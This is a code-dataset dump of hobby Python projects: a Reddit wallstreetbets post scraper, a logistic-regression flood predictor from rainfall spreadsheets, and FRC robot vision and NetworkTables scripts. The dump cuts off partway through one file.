interested in the score for a given post id\n #pushshift refuses to give me an accurate score but PRAW will\n reddit = praw.Reddit(\"charles\",user_agent = \"charles_user_agent\")\n wsb = reddit.subreddit(\"wallstreetbets\")\n post = reddit.submission(id=postID)\n return post.score\n\ndef oneDayAgo():\n before = int(time.time())\n dt = datetime.now()-relativedelta(days=1)\n after= int(dt.timestamp())\n #returns timestamps in UTC not EST\n return after,before\n\ndef getPushshiftData(after,before):\n #url = 'https://api.pushshift.io/reddit/search/submission/?size=1000&after='+str(after)+'&before='+str(before)+'&subreddit='+str(\"wallstreetbets\")\n url = 'https://api.pushshift.io/reddit/search/submission/?limit=1000&after='+str(after)+'&before='+str(before)+'&subreddit='+str(\"wallstreetbets\")\n r = requests.get(url)\n data = json.loads(r.text)\n return data['data']\n\n#This function will be used to extract the key data points from each JSON result\ndef collectSubData(subm):\n #subData was created at the start to hold all the data which is then added to our global allSubs dictionary.\n subData = list() #list to store data points\n title = subm['title']\n url = subm['url']\n #flairs are not always present so we wrap in try/except\n try:\n flair = subm['link_flair_text']\n except KeyError:\n flair = \"NaN\"\n author = subm['author']\n sub_id = subm['id']\n score = subm['score']\n created = datetime.fromtimestamp(subm['created_utc']) #1520561700.0\n numComms = subm['num_comments']\n permalink = subm['permalink']\n #Put all data points into a tuple and append to subData\n subData.append((sub_id,title,url,author,score,created,numComms,permalink,flair))\n #Create a dictionary entry of current submission data and store all data related to it\n allSubs[sub_id] = subData\n\ndef filterSubs(allSubs,sub):\n subStrToList = list(allSubs[sub][0])\n if subStrToList[8] == 'DD':\n return True\n else:\n return False\n\ndef writeSubsFile():\n with open(\"output.csv\", 'w', newline='', encoding='utf-8') as file:\n a = csv.writer(file, delimiter=',')\n headers = [\"Post ID\",\"Title\",\"Url\",\"Author\",\"Score\",\"Publish Date\",\"Total No. of Comments\",\"Permalink\",\"Flair\"]\n a.writerow(headers)\n for sub in allSubs:\n if filterSubs(allSubs,sub):\n correctScore = usingPraw(str(sub))\n tempList = list(allSubs[sub][0])\n tempList[4] = correctScore\n a.writerow(tuple(tempList))\n else:\n pass\n"},{"alpha_fraction":0.6841659545898438,"alphanum_fraction":0.6926333904266357,"avg_line_length":30.91891860961914,"blob_id":"68d86ee48ea97f313158d99c6f7caf9db7091a01","content_id":"22d1d911d7f9ecc1bf6a60ae94d8dd93dd7b7877","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1181,"license_type":"no_license","max_line_length":74,"num_lines":37,"path":"/main.py","repo_name":"cludlow1/wsbDD","src_encoding":"UTF-8","text":"from goToReddit import *\n#from sendMail import *\n\nafter, before = oneDayAgo()\ndata = getPushshiftData(after,before)\n\n#The length of data is the number submissions (data[0], data[1] etc),\n#once it hits zero (after and before vars are the same) end\nsubCount = 0\nprint('where it started: ',after)\nwhile True:#len(data)>0:\n for submission in data:\n collectSubData(submission)\n subCount+=1\n #print(str(datetime.fromtimestamp(data[-1]['created_utc'])))\n #update after variable to last created date of submission\n after = data[-1]['created_utc']\n #data has changed due to the new after variable provided by above code\n try:\n data = getPushshiftData(after, before)\n except json.decoder.JSONDecodeError:\n time.sleep(1)\n continue\n print(subCount)\n if len(data)==0:\n print('what it stopped at: ',after)\n print('after should equal before: ',before)\n print('total number of submissions: ',subCount)\n break\n\nwriteSubsFile()\n\n\n#might be helpful\n#use batch requests to speed up praw.\n#pass it a list of fullnames to reddit.info instance\n#https://github.com/Watchful1/Sketchpad/blob/master/postDownloader.py\n"},{"alpha_fraction":0.4545454680919647,"alphanum_fraction":0.4545454680919647,"avg_line_length":9,"blob_id":"58717228ccc6261153b32663705cb229de3104a8","content_id":"593945752e2cd39e8cf98f631da6bd5abd5b6079","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":11,"license_type":"no_license","max_line_length":9,"num_lines":1,"path":"/README.md","repo_name":"cludlow1/wsbDD","src_encoding":"UTF-8","text":"\"# wsbDD\" \n"}],"string":"[\n {\n \"alpha_fraction\": 0.6650115847587585,\n \"alphanum_fraction\": 0.6732869744300842,\n \"avg_line_length\": 38.75,\n \"blob_id\": \"a0a9a1b957ef952aa0d0929f954e476aeb3c2a58\",\n \"content_id\": \"95d6b35333266c7f2767c540368fcf8af310ef82\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3021,\n \"license_type\": \"no_license\",\n \"max_line_length\": 150,\n \"num_lines\": 76,\n \"path\": \"/goToReddit.py\",\n \"repo_name\": \"cludlow1/wsbDD\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import pandas as pd\\nimport praw\\nimport requests #Pushshift accesses Reddit via an url so this is needed\\nimport json #JSON manipulation\\nimport csv #To Convert final table into a csv file to save to your machine\\nimport time\\nfrom datetime import datetime,timezone,timedelta\\nfrom dateutil.relativedelta import relativedelta\\n\\n#allSubs is a global dictionary for all functions?\\nallSubs = {}\\n\\ndef usingPraw(postID):\\n #as of right now im only interested in the score for a given post id\\n #pushshift refuses to give me an accurate score but PRAW will\\n reddit = praw.Reddit(\\\"charles\\\",user_agent = \\\"charles_user_agent\\\")\\n wsb = reddit.subreddit(\\\"wallstreetbets\\\")\\n post = reddit.submission(id=postID)\\n return post.score\\n\\ndef oneDayAgo():\\n before = int(time.time())\\n dt = datetime.now()-relativedelta(days=1)\\n after= int(dt.timestamp())\\n #returns timestamps in UTC not EST\\n return after,before\\n\\ndef getPushshiftData(after,before):\\n #url = 'https://api.pushshift.io/reddit/search/submission/?size=1000&after='+str(after)+'&before='+str(before)+'&subreddit='+str(\\\"wallstreetbets\\\")\\n url = 'https://api.pushshift.io/reddit/search/submission/?limit=1000&after='+str(after)+'&before='+str(before)+'&subreddit='+str(\\\"wallstreetbets\\\")\\n r = requests.get(url)\\n data = json.loads(r.text)\\n return data['data']\\n\\n#This function will be used to extract the key data points from each JSON result\\ndef collectSubData(subm):\\n #subData was created at the start to hold all the data which is then added to our global allSubs dictionary.\\n subData = list() #list to store data points\\n title = subm['title']\\n url = subm['url']\\n #flairs are not always present so we wrap in try/except\\n try:\\n flair = subm['link_flair_text']\\n except KeyError:\\n flair = \\\"NaN\\\"\\n author = subm['author']\\n sub_id = subm['id']\\n score = subm['score']\\n created = datetime.fromtimestamp(subm['created_utc']) #1520561700.0\\n numComms = subm['num_comments']\\n permalink = subm['permalink']\\n #Put all data points into a tuple and append to subData\\n subData.append((sub_id,title,url,author,score,created,numComms,permalink,flair))\\n #Create a dictionary entry of current submission data and store all data related to it\\n allSubs[sub_id] = subData\\n\\ndef filterSubs(allSubs,sub):\\n subStrToList = list(allSubs[sub][0])\\n if subStrToList[8] == 'DD':\\n return True\\n else:\\n return False\\n\\ndef writeSubsFile():\\n with open(\\\"output.csv\\\", 'w', newline='', encoding='utf-8') as file:\\n a = csv.writer(file, delimiter=',')\\n headers = [\\\"Post ID\\\",\\\"Title\\\",\\\"Url\\\",\\\"Author\\\",\\\"Score\\\",\\\"Publish Date\\\",\\\"Total No. of Comments\\\",\\\"Permalink\\\",\\\"Flair\\\"]\\n a.writerow(headers)\\n for sub in allSubs:\\n if filterSubs(allSubs,sub):\\n correctScore = usingPraw(str(sub))\\n tempList = list(allSubs[sub][0])\\n tempList[4] = correctScore\\n a.writerow(tuple(tempList))\\n else:\\n pass\\n\"\n },\n {\n \"alpha_fraction\": 0.6841659545898438,\n \"alphanum_fraction\": 0.6926333904266357,\n \"avg_line_length\": 30.91891860961914,\n \"blob_id\": \"68d86ee48ea97f313158d99c6f7caf9db7091a01\",\n \"content_id\": \"22d1d911d7f9ecc1bf6a60ae94d8dd93dd7b7877\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1181,\n \"license_type\": \"no_license\",\n \"max_line_length\": 74,\n \"num_lines\": 37,\n \"path\": \"/main.py\",\n \"repo_name\": \"cludlow1/wsbDD\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from goToReddit import *\\n#from sendMail import *\\n\\nafter, before = oneDayAgo()\\ndata = getPushshiftData(after,before)\\n\\n#The length of data is the number submissions (data[0], data[1] etc),\\n#once it hits zero (after and before vars are the same) end\\nsubCount = 0\\nprint('where it started: ',after)\\nwhile True:#len(data)>0:\\n for submission in data:\\n collectSubData(submission)\\n subCount+=1\\n #print(str(datetime.fromtimestamp(data[-1]['created_utc'])))\\n #update after variable to last created date of submission\\n after = data[-1]['created_utc']\\n #data has changed due to the new after variable provided by above code\\n try:\\n data = getPushshiftData(after, before)\\n except json.decoder.JSONDecodeError:\\n time.sleep(1)\\n continue\\n print(subCount)\\n if len(data)==0:\\n print('what it stopped at: ',after)\\n print('after should equal before: ',before)\\n print('total number of submissions: ',subCount)\\n break\\n\\nwriteSubsFile()\\n\\n\\n#might be helpful\\n#use batch requests to speed up praw.\\n#pass it a list of fullnames to reddit.info instance\\n#https://github.com/Watchful1/Sketchpad/blob/master/postDownloader.py\\n\"\n },\n {\n \"alpha_fraction\": 0.4545454680919647,\n \"alphanum_fraction\": 0.4545454680919647,\n \"avg_line_length\": 9,\n \"blob_id\": \"58717228ccc6261153b32663705cb229de3104a8\",\n \"content_id\": \"593945752e2cd39e8cf98f631da6bd5abd5b6079\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 11,\n \"license_type\": \"no_license\",\n \"max_line_length\": 9,\n \"num_lines\": 1,\n \"path\": \"/README.md\",\n \"repo_name\": \"cludlow1/wsbDD\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"# wsbDD\\\" \\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":3,"string":"3"}}},{"rowIdx":2978348,"cells":{"repo_name":{"kind":"string","value":"rishabh-vasudevan/vinnovate-task"},"repo_url":{"kind":"string","value":"https://github.com/rishabh-vasudevan/vinnovate-task"},"snapshot_id":{"kind":"string","value":"451db5bc751f67dd5a7d08a858272e3377c1c572"},"revision_id":{"kind":"string","value":"d6accb6445d91c728279a444de4fea27d7076d25"},"directory_id":{"kind":"string","value":"cfcee8f3518e8df47d61e22aa01fe4a8efc00509"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2022-11-20T11:19:05.727997","string":"2022-11-20T11:19:05.727997"},"revision_date":{"kind":"timestamp","value":"2020-07-24T11:39:38","string":"2020-07-24T11:39:38"},"committer_date":{"kind":"timestamp","value":"2020-07-24T11:39:38","string":"2020-07-24T11:39:38"},"github_id":{"kind":"number","value":282273558,"string":"282,273,558"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6074073910713196,"alphanum_fraction":0.642265796661377,"avg_line_length":30.013513565063477,"blob_id":"1b2f92817689b1c155a2151ffe9dcf25560c9ced","content_id":"96f1dfe467610bc3843a652c3888a3a4666cdebf","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2295,"license_type":"no_license","max_line_length":165,"num_lines":74,"path":"/model.py","repo_name":"rishabh-vasudevan/vinnovate-task","src_encoding":"UTF-8","text":"from sklearn import model_selection\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn import preprocessing\nimport pandas as pd\nimport numpy as np\n\ndf = pd.read_excel('Book1.xlsx')\ndf2 = pd.read_excel('Book2.xlsx')\ndata2 = []\nfor i in range(len(df2)):\n data2.append(list(df2.iloc[i]))\ndata_set=[]\nfor i in range(len(df)):\n data_set.append(list(df.iloc[i]))\ndata=[]\nfor i in data_set:\n for j in range(1,13):\n data.append([int(i[0]),df.columns.values[j],i[j],i[13],0])\nfor i in data:\n for j in data2:\n if i[0]==j[0] and i[1]==j[1]:\n i[4]=1\n\nx = pd.DataFrame(data = data)\nx.columns =['Year','Month','Value','Total','Flood']\nlabel = preprocessing.LabelEncoder()\n\n\n# code to get the proccessed value of the months\n# k = x['Month'].unique()\n# k = label.fit_transform(k)\n# print(k) \n# month = label.fit_transform(list(x['Month']))\n\n# x['Month']=month\n# y = x['Flood']\n# x.drop(['Flood','Total'],1,inplace=True)\n# x_train,x_test,y_train,y_test = model_selection.train_test_split(x,y,test_size=0.2)\n# clf=LogisticRegression()\n# clf.fit(x_train,y_train)\n# acc = clf.score(x_test,y_test)\n# print(acc)\n# Year = int(input('Enter the Year: '))\n# Month = input('Enter the Month: ')\n# Rain = int(input('Enter mm of Rain: '))\n\n# Mon = {'JAN':4,'FEB':3,'MAR':7,'APR':0,'MAY':8,'JUN':6,'JUL':5,'AUG':1,'SEP':11,'OCT':10,'NOV':9,'DEC':2}\n# promonth = Mon[Month]\n# arr = [Year,promonth,Rain]\n# print(clf.predict([[Year,promonth,Rain]]))\n# print([[Year,promonth,Rain]])\n\n\n\nmonth = label.fit_transform(list(x['Month']))\n\nx['Month']=month\ny = x['Flood']\nx.drop(['Flood','Month','Year','Total'],1,inplace=True)\nx_train,x_test,y_train,y_test = model_selection.train_test_split(x,y,test_size=0.2)\nclf=LogisticRegression()\nclf.fit(x_train,y_train)\nacc = clf.score(x_test,y_test)\nprint(acc)\nDate = int(input('Enter the Date: '))\nMonth = input('Enter the Month(please enter in caps and only the first three letters of the month)')\nRain = int(input('Enter mm of Rain: '))\nMon = {'JAN':[4,31],'FEB':[3,28],'MAR':[7,31],'APR':[0,30],'MAY':[8,31],'JUN':[6,30],'JUL':[5,31],'AUG':[1,31],'SEP':[11,30],'OCT':[10,31],'NOV':[9,30],'DEC':[2,31]}\n\n#Assuming it will rain constantly for the rest of the month\n\nmonth_rain = (Rain/Date)*Mon[Month][1]\n\nprint(clf.predict([[month_rain]]))\n"}],"string":"[\n {\n \"alpha_fraction\": 0.6074073910713196,\n \"alphanum_fraction\": 0.642265796661377,\n \"avg_line_length\": 30.013513565063477,\n \"blob_id\": \"1b2f92817689b1c155a2151ffe9dcf25560c9ced\",\n \"content_id\": \"96f1dfe467610bc3843a652c3888a3a4666cdebf\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2295,\n \"license_type\": \"no_license\",\n \"max_line_length\": 165,\n \"num_lines\": 74,\n \"path\": \"/model.py\",\n \"repo_name\": \"rishabh-vasudevan/vinnovate-task\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from sklearn import model_selection\\nfrom sklearn.linear_model import LogisticRegression\\nfrom sklearn import preprocessing\\nimport pandas as pd\\nimport numpy as np\\n\\ndf = pd.read_excel('Book1.xlsx')\\ndf2 = pd.read_excel('Book2.xlsx')\\ndata2 = []\\nfor i in range(len(df2)):\\n data2.append(list(df2.iloc[i]))\\ndata_set=[]\\nfor i in range(len(df)):\\n data_set.append(list(df.iloc[i]))\\ndata=[]\\nfor i in data_set:\\n for j in range(1,13):\\n data.append([int(i[0]),df.columns.values[j],i[j],i[13],0])\\nfor i in data:\\n for j in data2:\\n if i[0]==j[0] and i[1]==j[1]:\\n i[4]=1\\n\\nx = pd.DataFrame(data = data)\\nx.columns =['Year','Month','Value','Total','Flood']\\nlabel = preprocessing.LabelEncoder()\\n\\n\\n# code to get the proccessed value of the months\\n# k = x['Month'].unique()\\n# k = label.fit_transform(k)\\n# print(k) \\n# month = label.fit_transform(list(x['Month']))\\n\\n# x['Month']=month\\n# y = x['Flood']\\n# x.drop(['Flood','Total'],1,inplace=True)\\n# x_train,x_test,y_train,y_test = model_selection.train_test_split(x,y,test_size=0.2)\\n# clf=LogisticRegression()\\n# clf.fit(x_train,y_train)\\n# acc = clf.score(x_test,y_test)\\n# print(acc)\\n# Year = int(input('Enter the Year: '))\\n# Month = input('Enter the Month: ')\\n# Rain = int(input('Enter mm of Rain: '))\\n\\n# Mon = {'JAN':4,'FEB':3,'MAR':7,'APR':0,'MAY':8,'JUN':6,'JUL':5,'AUG':1,'SEP':11,'OCT':10,'NOV':9,'DEC':2}\\n# promonth = Mon[Month]\\n# arr = [Year,promonth,Rain]\\n# print(clf.predict([[Year,promonth,Rain]]))\\n# print([[Year,promonth,Rain]])\\n\\n\\n\\nmonth = label.fit_transform(list(x['Month']))\\n\\nx['Month']=month\\ny = x['Flood']\\nx.drop(['Flood','Month','Year','Total'],1,inplace=True)\\nx_train,x_test,y_train,y_test = model_selection.train_test_split(x,y,test_size=0.2)\\nclf=LogisticRegression()\\nclf.fit(x_train,y_train)\\nacc = clf.score(x_test,y_test)\\nprint(acc)\\nDate = int(input('Enter the Date: '))\\nMonth = input('Enter the Month(please enter in caps and only the first three letters of the month)')\\nRain = int(input('Enter mm of Rain: '))\\nMon = {'JAN':[4,31],'FEB':[3,28],'MAR':[7,31],'APR':[0,30],'MAY':[8,31],'JUN':[6,30],'JUL':[5,31],'AUG':[1,31],'SEP':[11,30],'OCT':[10,31],'NOV':[9,30],'DEC':[2,31]}\\n\\n#Assuming it will rain constantly for the rest of the month\\n\\nmonth_rain = (Rain/Date)*Mon[Month][1]\\n\\nprint(clf.predict([[month_rain]]))\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":1,"string":"1"}}},{"rowIdx":2978349,"cells":{"repo_name":{"kind":"string","value":"GetRobbed/LazyVision2019"},"repo_url":{"kind":"string","value":"https://github.com/GetRobbed/LazyVision2019"},"snapshot_id":{"kind":"string","value":"df869fe3f657a838f209aacfa91579f595c15b33"},"revision_id":{"kind":"string","value":"2a10d0bd0a114000ecd529a8c257600cb3fa8e95"},"directory_id":{"kind":"string","value":"1a4571b738d0e3ad1036b0c27a3e5b4925dfa8b1"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-04-21T21:27:36.893547","string":"2020-04-21T21:27:36.893547"},"revision_date":{"kind":"timestamp","value":"2019-02-09T15:17:59","string":"2019-02-09T15:17:59"},"committer_date":{"kind":"timestamp","value":"2019-02-09T15:17:59","string":"2019-02-09T15:17:59"},"github_id":{"kind":"number","value":169879541,"string":"169,879,541"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6915636658668518,"alphanum_fraction":0.7109081149101257,"avg_line_length":23.486841201782227,"blob_id":"71eb987f4f6379572f47ac03d7151237b87daf37","content_id":"1655f61d3a281bd3ec67b288b0832b147154b926","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1861,"license_type":"no_license","max_line_length":77,"num_lines":76,"path":"/networkTables.py","repo_name":"GetRobbed/LazyVision2019","src_encoding":"UTF-8","text":"# run with python networkTables.py 10.2.19.2\n#!/usr/bin/env python3\n#\n# This is a NetworkTables client (eg, the DriverStation/coprocessor side).\n# You need to tell it the IP address of the NetworkTables server (the\n# robot or simulator).\n#\n# When running, this will continue incrementing the value 'dsTime', and the\n# value should be visible to other networktables clients and the robot.\n#\n\nimport os\nimport sys\nimport time\nimport threading\nfrom networktables import NetworkTables\n\n# To see messages from networktables, you must setup logging\nimport logging\n\nlogging.basicConfig(level=logging.DEBUG)\n\nif len(sys.argv) != 2:\n print(\"Error: specify an IP to connect to!\")\n exit(0)\nip= '10.2.19.2'\n#ip = sys.argv[1]\n\nNetworkTables.initialize(server=ip)\n\ncond = threading.Condition()\nnotified = [False]\n\ndef connectionListener(connected, info):\n print(info, '; Connected=%s' % connected)\n with cond:\n notified[0] = True\n cond.notify()\n\nNetworkTables.initialize(server=ip)\nNetworkTables.addConnectionListener(connectionListener, immediateNotify=True)\n\nwith cond:\n print(\"Waiting\")\n if not notified[0]:\n cond.wait()\n\n# Insert your processing code here\nprint(\"Connected!\")\n\n\nsd = NetworkTables.getTable(\"SmartDashboard\")\n\n\ni = 0\nwhile True:\n os.system(\"/home/pi/robo219.py\")\n #m= os.system(\"/home/pi/LazyVision.py\")\n sd.putNumber(\"slope\", os.system(\"/home/pi/LazyVision.py 1\"))\n #sd.putNumber(\"testinggucci\", 2192192219)\n #sd.putNumber(\"b\", b)\n print(\"robotTime:\", sd.getNumber(\"robotTime\", \"N/A\"))\n\n sd.putNumber(\"dsTime\", i)\n time.sleep(1)\n i += 1\n\n#table = NetworkTables.getTable('SmartDashboard')\n\n# This retrieves a boolean at /SmartDashboard/foo\n#foo = table.getBoolean('foo', True)\n\n#subtable = table.getSubTable('bar')\n\n# This retrieves /SmartDashboard/bar/baz\n#baz = table.getNumber('baz', 1)\n"},{"alpha_fraction":0.48685145378112793,"alphanum_fraction":0.5241649150848389,"avg_line_length":26.067960739135742,"blob_id":"100aef08d419ded239a5549da7be6288b0bbcf2a","content_id":"dc07d891ab6d124529f0d0564ae9043acbd965c2","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2814,"license_type":"no_license","max_line_length":168,"num_lines":103,"path":"/LazyVision.py","repo_name":"GetRobbed/LazyVision2019","src_encoding":"UTF-8","text":"from statistics import mean\nimport PIL\nimport numpy as np\n#import *\nfrom PIL import Image, ImageFilter\n#import robo219\nchangeVal = 250\nIs=np.array([], dtype=np.float64)\nJs=np.array([], dtype=np.float64)\nm=0\nb=0\nedge = 0\nnorm = 255\ntempo = 0\n#fswebcam -r 352x288 --no-banner /home/pi/webcam/currentImage.jpg\nimage = Image.open('/home/pi/webcam/currentImage.jpg').convert('L')\npx = image.load()\n\n#image.save('/home/pi/testing123.jpg')\nwidth, height = image.size\n\nif height > 287:\n cropped = image.crop((0,69,width,height))\n tempo = 69\nelse:\n cropped = image.crop((0,0,width,height))\n tempo = 0\n\ncropped.save('/home/pi/webcam/currentImage.jpg')\n\n\nimgAr = np.array(cropped)\ntemp = np.array(cropped)\ndef wrongWay():\n print(imgAr[0,0])\n for i in range(0,height-tempo):\n for j in range(1,width):\n if(abs((imgAr[i,j]-imgAr[i,j-1]))>changeVal):\n temp[i,j] = edge\n else:\n temp[i,j] = norm\n print('x')\n print (imgAr[i,j])\n print (i,j)\n print (abs((imgAr[i,j]-imgAr[i,j-1])))\n im = Image.fromarray(temp)\n im.save('/home/pi/webcam/gucci.jpg')\ndef maybeWay():\n \n Iso=[]\n Jso=[]\n test = cropped.filter(ImageFilter.FIND_EDGES)\n #test.save('/home/pi/webcam/gucci.jpg')\n temp = np.array(test)\n for i in range(0,height-tempo):\n for j in range(1,width):\n if (temp[i,j]<40):\n temp[i,j] = 0\n else:\n temp[i,j] = 255\n #\n for x in range(0,width):\n temp[0,x] = 0\n temp[1,x] = 0\n #\n for i in range(1,height-tempo-1):\n for j in range(1,width-1):\n if(temp[i,j]>0):\n if(temp[i+1,j] > 0 or temp[i-1,j] > 0 or temp[i,j+1]> 0 or temp[i,j-1]> 0 or temp[i+1,j+1]> 0 or temp[i-1,j-1] or temp[i+1,j-1]> 0 or temp[i-1,j+1]> 0):\n temp[i,j] = 255\n Iso.append(i)\n Jso.append(j)\n else:\n temp[i,j] = 0\n #\n for x in range(0,width - tempo):\n temp[0,x] = 0\n temp[1,x] = 0\n #\n Is = np.asarray(Iso, dtype=np.float64)\n Js = np.asarray(Jso, dtype=np.float64)\n m= (mean(Is)*mean(Js)-mean(Js*Is))/((mean(Is)*mean(Is))-mean(Is*Is))\n b= mean(Js)-m*mean(Is)\n #\n print(m)\n print(b)\n for j in range(0,height-tempo):\n guccigang = int(m*j+b)\n if(abs(guccigang)<352):\n temp[j,guccigang]=255\n else:\n print(\"Hello World\")\n #for y in range(0,height):\n # temp[int((y-b)/m),y] = 255\n test = Image.fromarray(temp)\n test.save('/home/pi/webcam/gucci.jpg')\n #for j in range(1,width):\n # temp[m*j+b,j]\n return m\nmaybeWay()\nreturn maybeWay()\n\n#print(imgAr)\n \n \n"},{"alpha_fraction":0.6666666865348816,"alphanum_fraction":0.7435897588729858,"avg_line_length":25,"blob_id":"ca660cc53fb2a9a7b97ddafa1dd32554141e062e","content_id":"3b4057b4f9b30c04d2f1b0bee66bf8792d8c6f97","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Shell","length_bytes":78,"license_type":"no_license","max_line_length":64,"num_lines":3,"path":"/robo219.py","repo_name":"GetRobbed/LazyVision2019","src_encoding":"UTF-8","text":"#!/bin/bash\n\nfswebcam -r 300x300 --no-banner /home/pi/webcam/currentImage.jpg\n"}],"string":"[\n {\n \"alpha_fraction\": 0.6915636658668518,\n \"alphanum_fraction\": 0.7109081149101257,\n \"avg_line_length\": 23.486841201782227,\n \"blob_id\": \"71eb987f4f6379572f47ac03d7151237b87daf37\",\n \"content_id\": \"1655f61d3a281bd3ec67b288b0832b147154b926\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1861,\n \"license_type\": \"no_license\",\n \"max_line_length\": 77,\n \"num_lines\": 76,\n \"path\": \"/networkTables.py\",\n \"repo_name\": \"GetRobbed/LazyVision2019\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# run with python networkTables.py 10.2.19.2\\n#!/usr/bin/env python3\\n#\\n# This is a NetworkTables client (eg, the DriverStation/coprocessor side).\\n# You need to tell it the IP address of the NetworkTables server (the\\n# robot or simulator).\\n#\\n# When running, this will continue incrementing the value 'dsTime', and the\\n# value should be visible to other networktables clients and the robot.\\n#\\n\\nimport os\\nimport sys\\nimport time\\nimport threading\\nfrom networktables import NetworkTables\\n\\n# To see messages from networktables, you must setup logging\\nimport logging\\n\\nlogging.basicConfig(level=logging.DEBUG)\\n\\nif len(sys.argv) != 2:\\n print(\\\"Error: specify an IP to connect to!\\\")\\n exit(0)\\nip= '10.2.19.2'\\n#ip = sys.argv[1]\\n\\nNetworkTables.initialize(server=ip)\\n\\ncond = threading.Condition()\\nnotified = [False]\\n\\ndef connectionListener(connected, info):\\n print(info, '; Connected=%s' % connected)\\n with cond:\\n notified[0] = True\\n cond.notify()\\n\\nNetworkTables.initialize(server=ip)\\nNetworkTables.addConnectionListener(connectionListener, immediateNotify=True)\\n\\nwith cond:\\n print(\\\"Waiting\\\")\\n if not notified[0]:\\n cond.wait()\\n\\n# Insert your processing code here\\nprint(\\\"Connected!\\\")\\n\\n\\nsd = NetworkTables.getTable(\\\"SmartDashboard\\\")\\n\\n\\ni = 0\\nwhile True:\\n os.system(\\\"/home/pi/robo219.py\\\")\\n #m= os.system(\\\"/home/pi/LazyVision.py\\\")\\n sd.putNumber(\\\"slope\\\", os.system(\\\"/home/pi/LazyVision.py 1\\\"))\\n #sd.putNumber(\\\"testinggucci\\\", 2192192219)\\n #sd.putNumber(\\\"b\\\", b)\\n print(\\\"robotTime:\\\", sd.getNumber(\\\"robotTime\\\", \\\"N/A\\\"))\\n\\n sd.putNumber(\\\"dsTime\\\", i)\\n time.sleep(1)\\n i += 1\\n\\n#table = NetworkTables.getTable('SmartDashboard')\\n\\n# This retrieves a boolean at /SmartDashboard/foo\\n#foo = table.getBoolean('foo', True)\\n\\n#subtable = table.getSubTable('bar')\\n\\n# This retrieves /SmartDashboard/bar/baz\\n#baz = table.getNumber('baz', 1)\\n\"\n },\n {\n \"alpha_fraction\": 0.48685145378112793,\n \"alphanum_fraction\": 0.5241649150848389,\n \"avg_line_length\": 26.067960739135742,\n \"blob_id\": \"100aef08d419ded239a5549da7be6288b0bbcf2a\",\n \"content_id\": \"dc07d891ab6d124529f0d0564ae9043acbd965c2\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2814,\n \"license_type\": \"no_license\",\n \"max_line_length\": 168,\n \"num_lines\": 103,\n \"path\": \"/LazyVision.py\",\n \"repo_name\": \"GetRobbed/LazyVision2019\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from statistics import mean\\nimport PIL\\nimport numpy as np\\n#import *\\nfrom PIL import Image, ImageFilter\\n#import robo219\\nchangeVal = 250\\nIs=np.array([], dtype=np.float64)\\nJs=np.array([], dtype=np.float64)\\nm=0\\nb=0\\nedge = 0\\nnorm = 255\\ntempo = 0\\n#fswebcam -r 352x288 --no-banner /home/pi/webcam/currentImage.jpg\\nimage = Image.open('/home/pi/webcam/currentImage.jpg').convert('L')\\npx = image.load()\\n\\n#image.save('/home/pi/testing123.jpg')\\nwidth, height = image.size\\n\\nif height > 287:\\n cropped = image.crop((0,69,width,height))\\n tempo = 69\\nelse:\\n cropped = image.crop((0,0,width,height))\\n tempo = 0\\n\\ncropped.save('/home/pi/webcam/currentImage.jpg')\\n\\n\\nimgAr = np.array(cropped)\\ntemp = np.array(cropped)\\ndef wrongWay():\\n print(imgAr[0,0])\\n for i in range(0,height-tempo):\\n for j in range(1,width):\\n if(abs((imgAr[i,j]-imgAr[i,j-1]))>changeVal):\\n temp[i,j] = edge\\n else:\\n temp[i,j] = norm\\n print('x')\\n print (imgAr[i,j])\\n print (i,j)\\n print (abs((imgAr[i,j]-imgAr[i,j-1])))\\n im = Image.fromarray(temp)\\n im.save('/home/pi/webcam/gucci.jpg')\\ndef maybeWay():\\n \\n Iso=[]\\n Jso=[]\\n test = cropped.filter(ImageFilter.FIND_EDGES)\\n #test.save('/home/pi/webcam/gucci.jpg')\\n temp = np.array(test)\\n for i in range(0,height-tempo):\\n for j in range(1,width):\\n if (temp[i,j]<40):\\n temp[i,j] = 0\\n else:\\n temp[i,j] = 255\\n #\\n for x in range(0,width):\\n temp[0,x] = 0\\n temp[1,x] = 0\\n #\\n for i in 